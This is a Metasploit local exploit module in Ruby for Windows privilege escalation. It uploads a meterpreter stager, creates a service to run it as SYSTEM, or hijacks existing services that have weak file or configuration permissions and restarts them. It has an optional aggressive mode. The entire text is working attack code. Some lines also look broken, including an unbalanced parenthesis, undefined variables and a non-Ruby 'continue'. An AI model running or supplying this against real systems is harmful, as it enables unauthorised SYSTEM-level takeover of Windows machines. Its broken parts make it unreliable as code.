## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Windows::Services def initialize(info={}) super( update_info( info, 'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation', 'Description' => %q{ This module attempts to exploit existing administrative privileges to obtain a SYSTEM session. If directly creating a service fails, this module will inspect existing services to look for insecure file or configuration permissions that may be hijacked. It will then attempt to restart the replaced service to run the payload. This will result in a new session when this succeeds. If the module is able to modify the service but does not have permission to start and stop the affected service, the attacker must wait for the system to restart before a session will be created. }, 'License' => MSF_LICENSE, 'Author' => [ 'scriptjunkie' ], 'Arch' => [ ARCH_X86 ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => '5' }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate'=> "Oct 15 2012" )) register_options([ OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ]) ]) end def exploit # randomize the filename filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" # randomize the exe name tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" raw = payload.encoded exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw) sysdir = expand_path("%SystemRoot%") tmpdir = expand_path("%TEMP%") print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..") begin # # Upload the payload to the filesystem # tempexe = tmpdir + "\\" + tempexe_name write_file(tempexe, exe) rescue ::Exception => e print_error("Error uploading file #{filename}: #{e.class} #{e}") return end print_status("Trying to add a new service...") service_name = Rex::Text.rand_text_alpha((rand(8)+6)) if service_create(service_name, "", tempexe, startup=2) print_status("Created service... #{service_name}") ret = service_start(service_name) print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") service_delete(service_name) return else print_status("No privs to create a service...") end print_status("Trying to find weak permissions in existing services..") #Search through list of services to find weak permissions, whether file or config serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" #for each service service_list.each do |serv| begin moved = false configed = false #default path, but there should be an ImagePath registry key source = expand_path("%SYSTEMROOT%\\system32\\#{serv[:name]}.exe") #get path to exe; parse out quotes and arguments sourceorig = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","ImagePath").to_s sourcemaybe = expand_path(sourceorig) if( sourcemaybe[0] == '"' ) sourcemaybe = sourcemaybe.split('"')[1] else sourcemaybe = sourcemaybe.split(' ')[0] end begin file?(sourcemaybe) #check if it really exists source = sourcemaybe rescue print_status("Cannot reliably determine path for #{serv[:name]} executable. Trying #{source}") end #try to exploit weak file permissions if(source != tempexe && file_move(source, source+'.bak') file_move(tempexe, source) print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.") moved = true end #try to exploit weak config permissions if service_change_config(serv[:name], {:bin_path_name => tempexe}) print_status("#{serv[:name]} has weak configuration permissions - reconfigured to use exe #{tempexe}.") configed = true end if(moved != true && configed != true) print_status("No exploitable weak permissions found on #{serv[:name]}") continue end print_status("Restarting #{serv[:name]}") #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) servhandleret = adv.OpenServiceA(manag["return"],serv[:name],0x30) if(servhandleret["return"] != 0) #SERVICE_CONTROL_STOP = 0x00000001 if(adv.ControlService(servhandleret["return"],1,56)) session.railgun.kernel32.Sleep(1000) adv.StartServiceA(servhandleret["return"],0,nil) print_status("#{serv[:name]} restarted. You should get a system meterpreter soon. Enjoy.") #Cleanup if moved == true session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) end if configed == true servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2) adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, 0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) adv.CloseServiceHandle(servhandleret["return"]) end else print_status("Could not restart #{serv[:name]}. Wait for a reboot or force one yourself.") end adv.CloseServiceHandle(servhandleret["return"]) if datastore['AGGRESSIVE'] != true return end else print_status("Could not restart #{serv[:name]}. Wait for a reboot. (or force one yourself)") end rescue end end end end